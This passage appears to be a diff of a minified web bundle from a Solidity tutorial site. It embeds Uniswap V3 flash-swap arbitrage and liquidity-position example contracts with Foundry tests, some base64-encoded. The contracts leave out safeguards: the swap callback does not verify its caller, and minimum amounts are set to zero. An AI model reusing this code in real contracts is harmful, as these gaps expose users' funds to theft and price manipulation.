dWJsaWMgewogICAgICAgIGZsYXNoU3dhcCA9IG5ldyBVbmlzd2FwVjNGbGFzaFN3YXAoKTsKCiAgICAgICAgLy8gQ3JlYXRlIGFuIGFyYml0cmFnZSBvcHBvcnR1bml0eSAtIG1ha2UgV0VUSCBjaGVhcGVyIG9uIHBvb2wwCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiA1MDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIDUwMCAqIDFlMTgpOwogICAgICAgIHJvdXRlci5leGFjdElucHV0U2luZ2xlKAogICAgICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogV0VUSCwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgICAgICBmZWU6IEZFRV8wLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgYW1vdW50SW46IDUwMCAqIDFlMTgsCiAgICAgICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwLAogICAgICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIGZsYXNoU3dhcC5mbGFzaFN3YXAoewogICAgICAgICAgICBwb29sMDogYWRkcmVzcyhwb29sMCksCiAgICAgICAgICAgIGZlZTE6IEZFRV8xLAogICAgICAgICAgICB0b2tlbkluOiBEQUksCiAgICAgICAgICAgIHRva2VuT3V0OiBXRVRILAogICAgICAgICAgICBhbW91bnRJbjogREFJX0FNT1VOVF9JTgogICAgICAgIH0pOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBwcm9maXQgPSBiYWwxIC0gYmFsMDsKICAgICAgICBhc3NlcnRHdChwcm9maXQsIDAsICJwcm9maXQgPSAwIik7CiAgICAgICAgY29uc29sZTIubG9nKCJQcm9maXQgJWUiLCBwcm9maXQpOwogICAgfQp9Cg=="}],hb=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    +`,tb=({prev:s,next:a})=>r.jsx(A,{version:nb,title:lb,description:pb,html:cb,prev:s,next:a,codes:eb}),ob="0.8.24",rb="Uniswap V3 Flash Swap Arbitrage",ib="Uniswap V3 Flash Swap Arbitrage",gb=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7Cgpjb250cmFjdCBVbmlzd2FwVjNGbGFzaFN3YXAgewogICAgSVN3YXBSb3V0ZXIwMiBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKCiAgICB1aW50MTYwIHByaXZhdGUgY29uc3RhbnQgTUlOX1NRUlRfUkFUSU8gPSA0Mjk1MTI4NzM5OwogICAgdWludDE2MCBwcml2YXRlIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIERBSSAvIFdFVEggMC4zJSBzd2FwIGZlZSAoMjAwMCBEQUkgLyBXRVRIKQogICAgLy8gREFJIC8gV0VUSCAwLjA1JSBzd2FwIGZlZSAoMjEwMCBEQUkgLyBXRVRIKQogICAgLy8gMS4gRmxhc2ggc3dhcCBvbiBwb29sMCAocmVjZWl2ZSBXRVRIKQogICAgLy8gMi4gU3dhcCBvbiBwb29sMSAoV0VUSCAtPiBEQUkpCiAgICAvLyAzLiBTZW5kIERBSSB0byBwb29sMAogICAgLy8gcHJvZml0ID0gREFJIHJlY2VpdmVkIGZyb20gcG9vbDEgLSBEQUkgcmVwYWlkIHRvIHBvb2wwCgogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIC8vIDAgLT4gMSA9PiBzcXJ0IHByaWNlIGRlY3JlYXNlCiAgICAgICAgLy8gMSAtPiAwID0+IHNxcnQgcHJpY2UgaW5jcmVhc2UKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2ID0KICAgICAgICAgICAgemVyb0Zvck9uZSA/IE1JTl9TUVJUX1JBVElPICsgMSA6IE1BWF9TUVJUX1JBVElPIC0gMTsKCiAgICAgICAgYnl0ZXMgbWVtb3J5IGRhdGEgPSBhYmkuZW5jb2RlKAogICAgICAgICAgICBtc2cuc2VuZGVyLCBwb29sMCwgZmVlMSwgdG9rZW5JbiwgdG9rZW5PdXQsIGFtb3VudEluLCB6ZXJvRm9yT25lCiAgICAgICAgKTsKCiAgICAgICAgSVVuaXN3YXBWM1Bvb2wocG9vbDApLnN3YXAoewogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIHplcm9Gb3JPbmU6IHplcm9Gb3JPbmUsCiAgICAgICAgICAgIGFtb3VudFNwZWNpZmllZDogaW50MjU2KGFtb3VudEluKSwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgICAgICBkYXRhOiBkYXRhCiAgICAgICAgfSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdElucHV0U2luZ2xlUGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICBmZWU6IGZlZSwKICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNTd2FwQ2FsbGJhY2soCiAgICAgICAgaW50MjU2IGFtb3VudDAsCiAgICAgICAgaW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gRGVjb2RlIGRhdGEKICAgICAgICAoCiAgICAgICAgICAgIGFkZHJlc3MgY2FsbGVyLAogICAgICAgICAgICBhZGRyZXNzIHBvb2wwLAogICAgICAgICAgICB1aW50MjQgZmVlMSwKICAgICAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuT3V0LAogICAgICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgICAgICBib29sIHplcm9Gb3JPbmUKICAgICAgICApID0gYWJpLmRlY29kZSgKICAgICAgICAgICAgZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQyNCwgYWRkcmVzcywgYWRkcmVzcywgdWludDI1NiwgYm9vbCkKICAgICAgICApOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IHplcm9Gb3JPbmUgPyB1aW50MjU2KC1hbW91bnQxKSA6IHVpbnQyNTYoLWFtb3VudDApOwoKICAgICAgICAvLyBwb29sMCAtPiB0b2tlbkluIC0+IHRva2VuT3V0IChhbW91bnRPdXQpCiAgICAgICAgLy8gU3dhcCBvbiBwb29sIDEgKHN3YXAgdG9rZW5PdXQgLT4gdG9rZW5JbikKICAgICAgICB1aW50MjU2IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuT3V0LAogICAgICAgICAgICB0b2tlbk91dDogdG9rZW5JbiwKICAgICAgICAgICAgZmVlOiBmZWUxLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRPdXRNaW46IGFtb3VudEluCiAgICAgICAgfSk7CgogICAgICAgIC8vIFJlcGF5IHBvb2wgMAogICAgICAgIHVpbnQyNTYgcHJvZml0ID0gYnV5QmFja0Ftb3VudCAtIGFtb3VudEluOwogICAgICAgIHJlcXVpcmUocHJvZml0ID4gMCwgInByb2ZpdCA9IDAiKTsKCiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKHBvb2wwLCBhbW91bnRJbik7CiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKGNhbGxlciwgcHJvZml0KTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyMDIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbjsKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0U2luZ2xlKEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjNQb29sIHsKICAgIGZ1bmN0aW9uIHN3YXAoCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgYm9vbCB6ZXJvRm9yT25lLAogICAgICAgIGludDI1NiBhbW91bnRTcGVjaWZpZWQsCiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHJldHVybnMgKGludDI1NiBhbW91bnQwLCBpbnQyNTYgYW1vdW50MSk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV3FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIFVuaXN3YXBWM0ZsYXNoU3dhcCwKICAgIElVbmlzd2FwVjNQb29sLAogICAgSVN3YXBSb3V0ZXIwMiwKICAgIElFUkMyMCwKICAgIElXRVRICn0gZnJvbSAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC1zd2FwL1VuaXN3YXBWM0ZsYXNoU3dhcC5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9IDB4NjhiMzQ2NTgzM2ZiNzJBNzBlY0RGNDg1RTBlNEM3YkQ4NjY1RmM0NTsKYWRkcmVzcyBjb25zdGFudCBEQUlfV0VUSF9QT09MXzMwMDAgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CmFkZHJlc3MgY29uc3RhbnQgREFJX1dFVEhfUE9PTF81MDAgPSAweDYwNTk0YTQwNWQ1MzgxMWQzQkM0NzY2NTk2RUZEODBmZDU0NUEyNzA7CnVpbnQyNCBjb25zdGFudCBGRUVfMCA9IDMwMDA7CnVpbnQyNCBjb25zdGFudCBGRUVfMSA9IDUwMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoVGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGNvbnN0YW50IHBvb2wwID0gSVVuaXN3YXBWM1Bvb2woREFJX1dFVEhfUE9PTF8zMDAwKTsKICAgIElVbmlzd2FwVjNQb29sIHByaXZhdGUgY29uc3RhbnQgcG9vbDEgPSBJVW5pc3dhcFYzUG9vbChEQUlfV0VUSF9QT09MXzUwMCk7CiAgICBVbmlzd2FwVjNGbGFzaFN3YXAgcHJpdmF0ZSBmbGFzaFN3YXA7CgogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IERBSV9BTU9VTlRfSU4gPSAxMCAqIDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIGZsYXNoU3dhcCA9IG5ldyBVbmlzd2FwVjNGbGFzaFN3YXAoKTsKCiAgICAgICAgLy8gQ3JlYXRlIGFuIGFyYml0cmFnZSBvcHBvcnR1bml0eSAtIG1ha2UgV0VUSCBjaGVhcGVyIG9uIHBvb2wwCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiA1MDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIDUwMCAqIDFlMTgpOwogICAgICAgIHJvdXRlci5leGFjdElucHV0U2luZ2xlKAogICAgICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogV0VUSCwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgICAgICBmZWU6IEZFRV8wLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgYW1vdW50SW46IDUwMCAqIDFlMTgsCiAgICAgICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwLAogICAgICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIGZsYXNoU3dhcC5mbGFzaFN3YXAoewogICAgICAgICAgICBwb29sMDogYWRkcmVzcyhwb29sMCksCiAgICAgICAgICAgIGZlZTE6IEZFRV8xLAogICAgICAgICAgICB0b2tlbkluOiBEQUksCiAgICAgICAgICAgIHRva2VuT3V0OiBXRVRILAogICAgICAgICAgICBhbW91bnRJbjogREFJX0FNT1VOVF9JTgogICAgICAgIH0pOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBwcm9maXQgPSBiYWwxIC0gYmFsMDsKICAgICAgICBhc3NlcnRHdChwcm9maXQsIDAsICJwcm9maXQgPSAwIik7CiAgICAgICAgY29uc29sZTIubG9nKCJQcm9maXQgJWUiLCBwcm9maXQpOwogICAgfQp9Cg=="}],hb=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6319,7 +6319,7 @@ IERC20 constant PAIR Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,Ib=({prev:s,next:a})=>r.jsx(u,{version:ob,title:rb,description:ib,html:hb,prev:s,next:a,codes:gb}),db="0.8.24",Cb="Uniswap V3 Liquidity Examples",jb="Uniswap V3 liquidity examples",ub=[{fileName:"UniswapV3Liquidity.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract UniswapV3Liquidity is IERC721Receiver {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 60;

    INonfungiblePositionManager public nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintNewPosition(uint256 amount0ToAdd, uint256 amount1ToAdd)
        external
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.MintParams memory params =
        INonfungiblePositionManager.MintParams({
            token0: DAI,
            token1: WETH,
            fee: 3000,
            tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
            tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (tokenId, liquidity, amount0, amount1) =
            nonfungiblePositionManager.mint(params);

        if (amount0 < amount0ToAdd) {
            dai.approve(address(nonfungiblePositionManager), 0);
            uint256 refund0 = amount0ToAdd - amount0;
            dai.transfer(msg.sender, refund0);
        }
        if (amount1 < amount1ToAdd) {
            weth.approve(address(nonfungiblePositionManager), 0);
            uint256 refund1 = amount1ToAdd - amount1;
            weth.transfer(msg.sender, refund1);
        }
    }

    function collectAllFees(uint256 tokenId)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.CollectParams memory params =
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: address(this),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        (amount0, amount1) = nonfungiblePositionManager.collect(params);
    }

    function increaseLiquidityCurrentRange(
        uint256 tokenId,
        uint256 amount0ToAdd,
        uint256 amount1ToAdd
    ) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.IncreaseLiquidityParams memory params =
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (liquidity, amount0, amount1) =
            nonfungiblePositionManager.increaseLiquidity(params);
    }

    function decreaseLiquidityCurrentRange(uint256 tokenId, uint128 liquidity)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.DecreaseLiquidityParams memory params =
        INonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (amount0, amount1) =
            nonfungiblePositionManager.decreaseLiquidity(params);
    }
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    struct IncreaseLiquidityParams {
        uint256 tokenId;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        returns (uint128 liquidity, uint256 amount0, uint256 amount1);

    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
"},{fileName:"UniswapV3LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1saXF1aWRpdHkvVW5pc3dhcFYzTGlxdWlkaXR5LnNvbCI7Cgpjb250cmFjdCBVbmlzd2FwVjNMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dIQUxFID0KICAgICAgICAweGU4MUQ2ZjAzMDI4MTA3QTIwREJjODMxNzZEQTgyYUU4MDk5RTlDNDI7CgogICAgVW5pc3dhcFYzTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0xpcXVpZGl0eSgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICB2bS5wcmFuayhEQUlfV0hBTEUpOwogICAgICAgIGRhaS50cmFuc2ZlcihhZGRyZXNzKHRoaXMpLCAyMCAqIDFlMTgpOwoKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IDIgKiAxZTE4fSgpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIDIwICogMWUxOCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgMiAqIDFlMTgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RMaXF1aWRpdHkoKSBwdWJsaWMgewogICAgICAgIC8vIFRyYWNrIHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHVpbnQxMjggbGlxdWlkaXR5OwoKICAgICAgICAvLyBNaW50IG5ldyBwb3NpdGlvbgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50ID0gMTAgKiAxZTE4OwogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CgogICAgICAgICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eURlbHRhLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgICAgIHVpbnQyNTYgYW1vdW50MQogICAgICAgICkgPSB1bmkubWludE5ld1Bvc2l0aW9uKGRhaUFtb3VudCwgd2V0aEFtb3VudCk7CiAgICAgICAgbGlxdWlkaXR5ICs9IGxpcXVpZGl0eURlbHRhOwoKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coInRva2VuIGlkIiwgdG9rZW5JZCk7CiAgICAgICAgY29uc29sZTIubG9nKCJsaXF1aWRpdHkiLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIENvbGxlY3QgZmVlcwogICAgICAgICh1aW50MjU2IGZlZTAsIHVpbnQyNTYgZmVlMSkgPSB1bmkuY29sbGVjdEFsbEZlZXModG9rZW5JZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIENvbGxlY3QgZmVlcyAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJmZWUgMSIsIGZlZTEpOwoKICAgICAgICAvLyBJbmNyZWFzZSBsaXF1aWRpdHkKICAgICAgICB1aW50MjU2IGRhaUFtb3VudFRvQWRkID0gNSAqIDFlMTg7CiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50VG9BZGQgPSAwLjUgKiAxZTE4OwoKICAgICAgICAobGlxdWlkaXR5RGVsdGEsIGFtb3VudDAsIGFtb3VudDEpID0gdW5pLmluY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgICAgICB0b2tlbklkLCBkYWlBbW91bnRUb0FkZCwgd2V